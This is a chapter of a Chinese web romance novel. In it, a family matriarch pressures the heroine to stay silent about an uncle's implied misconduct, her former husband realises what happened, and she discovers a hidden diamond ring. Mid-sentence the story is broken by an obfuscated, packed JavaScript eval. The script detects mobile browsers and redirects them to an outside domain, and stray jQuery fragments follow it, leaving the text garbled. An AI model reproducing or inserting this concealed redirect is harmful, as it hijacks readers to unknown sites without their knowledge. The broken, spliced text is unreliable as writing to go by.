66. 颂你
作品:《风月颂你》 叶元因走进去,章韵蓉正坐在榻上,戴着老花镜看以前的老照片。见她来了,抽出其中一张递过来,说:“是老大小时候的样子。”
叶元因双手接过,大概是高中时候拍的,在国外度假,眉眼间清冽孤傲,已经隐隐有了现在的冷峻。
“奶奶,找我来是有什么事要交代吗?”
章韵蓉的眼睛依然落在照片上,头也没抬,“你觉得会是什么事?”
她说我不知道。
章韵蓉微微笑了笑,难堪的事情,年轻的孩子并不想张口说。但她不说,自己却不能不管,于是只好由她来挑明。
“你四叔先前心里头有个人,但爷爷跟我都不同意。他没遂了心愿,一直不开心。身体上有病,身体会疼,但这心里不痛快了,疼的更厉害。”
叶元因静静听着,并不言语。
奶奶的眼睛终于肯从照片上拔出来,深邃的目光落下,她打量起眼前这年轻的女孩。
“家里的监控,我让他们把记录都删掉了。就当从来都没有发生过。”
因为提前预测到了结局,叶元因并不觉得意外,但有些话还是得问明白,“为什么要这么对我?”
“你看童话里,王子和灰姑娘的故事深入人心。年轻貌美的女孩子嫁入豪门后物质富裕,备受青睐,夫妻恩爱,好像生活从此就会幸福快乐,但里面的难处却一点都不说。为了维持表面的光鲜,每个人都要受到严苛的管制。在这样的家庭里,家族的荣誉大于一切个人的感受,谁心里觉得不痛快,都得咽到肚子里去。”
“奶奶知道你受了委屈,可为了这个家,只能这样做。请你忘记这件事,不要对任何人提起,尤其是沈积安。”
叶元因想,为什么女性要如此悲哀,她们因为爱一个男人而走入对方的家庭,却也因为对方的家庭受尽苦难。什么了不起的家庭值得她们牺牲自我,蝼蚁为人。
“我不会说的。”叶元因胸中怒火燃烧,母亲教导她坚忍求全,以和为贵,遇见与自己意见相左的人,退一步海阔天空。长此以往,这种教导已经内化成一种习惯,她很少会跟人起正面冲突。可当她走出大山,才发现委屈自己并不是一种美德。她说过,她能给他的只有忠诚。忠诚不是身体上的忠贞,而是对方能够认可她的赤诚和真心,可总有人想尽办法去冒犯一个一无所有的女人。
在巨大的不忿中,她问出了自己心中的疑问。
“奶奶,当你从前夫家里跑出来,带着别人的孩子跟爷爷组建成新的家庭。为什么这样的你会从敢于反抗世俗的屠龙者,变成不公秩序的守护者?你为什么不能坚守初心?”
章韵蓉听完她的话,深思了一会,才问:“什么是初心?”
叶元因道:“起码,不该让长子离心,不该让长女娇蛮任性,不该让幼子无法无天。不该让长孙自我放逐。”
章韵蓉笑了,“在你眼里,我跟爷爷实在不会教育孩子,是吗?”
她的直爽,也算敢为人先了,“偶尔会那么想。我跟沈伯伯相处过一段时间,跟沈积安也算熟悉,感觉他们很少有快乐的时候。”
章韵蓉道:“从前我们那个时候,身上还有着旧式家庭的烙印,家庭就是一辈子的事业。爷爷虽然声势比不上我们家,但我也有两房婆母。我怀着孩子嫁过来,处处看人眼色,日子并不好过。何况那时候,爷爷只是个小水果商,经济艰难,只能委屈华峰。”
叶元因想,不止从前那个时候,就连现在,女性面临的困境一样不减。有了丈夫和孩子之后,曾经炽热的感情对抗不了生活中的琐屑微杂。家业有大有小,却一样少不了的家常里短,让人不得不去感叹起理想和现实的千差万别。忍不住就要吐槽婆婆,挑剔丈夫,管教孩子。
爱情从来都是泡沫上的亭台楼阁,生活却是持久而忍耐的。在她贫瘠的想象里,父母那样的爱情已经是幸福的极致了。
她爱他,却无法去爱他背后爪牙贲张的家族。
“我老了,有些事情睁一只眼闭一只眼,不愿意再去操那个心。若你觉得这个家不好,可以按照自己的想法去改造。”
从前就没有幻想过能融入这个家的她,现在更不会抛弃自由跳入火坑,嫁人也是种双向选择呢。
她并不喜欢他的世界。
叶元因微笑着摇了摇头。
奶奶知道了她的心意,遗憾道:“我本来还想为沈积安当一回说客,既然你定了心意,那就没什么可说的了,随缘珍重。”
叶元因祝她身体健康。
*
几天后,沈积安和邹檬受邀参加张思零组织的艺术沙龙。
席上有几个她的英国朋友,说话就像舞台剧演员,关注表演仪态多过自身讲话的内容,沈积安觉得无聊,推开门自己躲了出去。
有个年轻女演员一直在注视他,见他出门,自己紧跟着也出去了。
邹檬一旁看着,出于愤恨,冷哼了几声。
季荃聚精会神的听了会英国人的演讲,转头看向她目光,带一点蠢蠢欲动的反叛和坏心眼。“你说这女演员今晚会不会发条朋友圈,拉着沈先生拍张合影,编一些令人误会的话,自抬身价?”
邹檬不屑的笑了笑,说:“你怎么语无伦次的?首先他就不会拍。再一个,我想沈家不至于在楚小姐之后不吸取教训,还要另娶一位明星进门?社会再怎么变,总归是要讲门当户对的。”
季荃想不到,她一个没才没貌的人也如此势力。
像自己这样的人努力读书,发奋图强到底图的是什么?不就是想成为能跟他们分一杯羹的人吗?诚然大家起点不一样,但谁说不能在同样的终点上举杯相碰?再有一点,自己辛辛苦苦拼搏,难道不是为了以后压她一头?
真是井底之蛙的浅见。
“门当户对啊?我看沈先生并不在乎这个。”
邹檬忍不住就要想起他前妻——漂亮的,干净的,贫穷又楚楚。她又哼了一声。
张思零眼看自己攒的场子的光彩要被别人沾了去,心想这怎么能行?她推开门走出去,将沈积安又叫了进来。
“我是为了让你给我撑门面才请你过来,结果你到处躲什么啊?”
沈积安跟她打听事:“怎么没见尤敬?”
张思零好奇怪,“你关注他干什么?”
他自然有关注的理由,“他又出去采风了?”
“没有,美院有集中研讨,他在封闭培训。大概两个月。”
沈积安便嗯了一声,浅浅说,你们以后应该多搞些这样的活动。张思零心知肚明的笑,他这是不想让尤敬有事没事的就围在小叶身边转呗。
“小叶最近怎么样?我听说她又回安城了?”
“回来有一阵子了。”
“怎么样啊?要复婚吗?”
以他对她的了解,可能性不大。尤其当沈连星横插一脚,自己又把龙婶的信给还回去之后。
张思零不知道两人之间发生过什么,心想小叶果然不是一般人,那时自己住在沈家,夜晚睡不着出去散步,见她紧拽着衣服从沈玉衡房间里跑出来,让人很难不往别的地方想。纵使这样,她还能跟他在一起,还能让向来端肃冷静的男人牵肠挂肚,也是心态很强大了。
张思零心里不痛快,从路过的侍者托盘里端起一杯酒,随口问他:“小叶不觉得尴尬吗?”
“什么意思?”
她肆无忌惮给告了一状,“你为了沈氏四处奔忙的时候,她却从四叔房间里衣衫不整的跑出来。这算什么?”
沈家消失了的视频记录,暴雨中她从半山别墅跑出来,黄骅说——她一直在哭。还有,那从小到大带在手上,弄丢了的镯子……
沈积安突然瞳孔巨震,仿佛世间千种颜色俱灭,又像百草瞬间枯萎,刺骨寒风穿破灵魂,他的世界里空旷寂静、一片荒芜。
一个小型会客沙龙而已,地方不大,从会客厅的一侧走到门口,用不了多长时间。马秘书见老板身体微微前倾,单手抓上衬衣胸口,双眼发着红,像是溺水的人在毫无章法的寻找浮木,察觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880125|165403||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出不对的他赶忙迎上来。
“小马……”他突然开口,身体像在闹旱灾又像是在发水患。
马秘书低头伏在他身边,说:“我在。”
可他却又什么都说不出来了,缓了一会又开口,像刚刚才虎口逃生。“……回九陶村。”
“现在吗?”
“越快越好。”
*
叶元因在大扫除,秦岭是被大舅妈派过来的免费劳力。
姐弟俩把一楼清扫完了,又拎着水桶去了二楼。
秦岭拖地也不好好拖,拿手掌拄着拖把支撑着自己半身的重量,吊儿郎当地说:“大伯也太犟了,住院才能花几个钱,怎么就非要闹着出院呢。”
见叶元因打扫完了自己的房间又拐进书房,他也跟过去了,“还有你,从前说不回家,打从门前过也死都不进来。等想明白了进来了,又开始瞎折腾。这卫生已经从早上干到晚上了,家里都快擦脱了皮了,到底得多干净才算完啊?我都快累死了。”
她以无视来代替回答。
秦岭烦了:“阿因,你这个人真的很讨厌。”
她终于肯开口说一句话,“怎么讨厌?”
“太清高,放不下身段。”秦岭为了批评她,从自己有限的知识储备量里找了句权威的话端出来,“真的勇士,敢于直面惨淡的人生。咱们就是这样的条件,再努力,也赶不上人家有钱。你要是真看不惯沈家姑姑的做派,你就回去搞掉他们嘛!”
她不咸不淡的看了他一眼,“怎么搞?”
“我教你。”秦岭拎着拖把走到她身边,低着头跟她共谋,“你先把当家的人给伺候好了,只要他高兴,你不就可以横行霸道,为非作歹了吗?你态度软一点,撒撒娇,闹闹脾气,再哄哄他,保管让他神魂颠倒,男人不就吃这一套吗!等你拿到了免死金牌,就一个个收拾整顿呗,多简单。你看我这招行不?”
叶元因毫不歧视的看着他笑。“挺好。”
“真的?那你可去做啊。”
“行。”
秦岭见她拿着抹布又去擦书柜了,拖把扔到地上,他顺手抽了几本书出来,“这都是姑父的?”
叶元因刚收拾好,他又新抽出来好几本,烦的她够呛,伸手往外推他,“你快回去吧,别给我捣乱了。”
秦岭这孩子,十斤骨头里九斤是反骨,他贱贱的伸出食指勾着书脊,心想你说我捣乱是吧?那我就给你捣一次乱看看。
书本砰砰砰接二连三的落到地上,他的手所过之处,就是一场灾难。
叶元因气的把抹布狠狠丢到了他身上。
秦岭为了躲他,脚下踩了几本书,为了稳住踉跄的身体,一下子抠住了离着床头最近的书架。
一排书松动,上面横放着的一个木盒“啪”一下落到地上。
秦岭觉得奇怪,俯身捡起来,端详了半天,问:“这是什么?”
叶元因靠过来,从他手中接过,仔细看,盒子四四方方,黄花梨材质,上面镶着缠枝纹的螺钿,虽然上了年岁,手工却极尽精巧。
“看着像古董,打开看看吗?”秦岭纳闷:“难道是姑父藏起来的?”
“不像,他哪有钱?”叶元因提着一侧的黄铜锁片打开,见里面端端正正摆着一枚水滴状黄钻戒指。
灯光一照,璀璨夺目。
秦岭瞠目结舌,拿出手机,用软件搜了下图片。看大小,大概三十克拉,蹦出来的价格动辄就几百万美元,他有点结巴地问:“这、这戒指……是真的吗?”
盒子的内侧,还存了张纸条,只有寥寥八个字。
【一山风月,唱颂于你】
叶元因突然合上盖子,不敢置信的看向秦岭,“你说多少钱?”
“我怎么知道?!”秦岭举着手机给她看,“网上查的,谁知道是不是真的?
三年前,他去香港,问自己想要什么礼物。那时候沈氏大厦摇摇欲坠,风声鹤唳四处奔走之际,他哪来的钱?这一笔钱,估计就是他全部的身家了。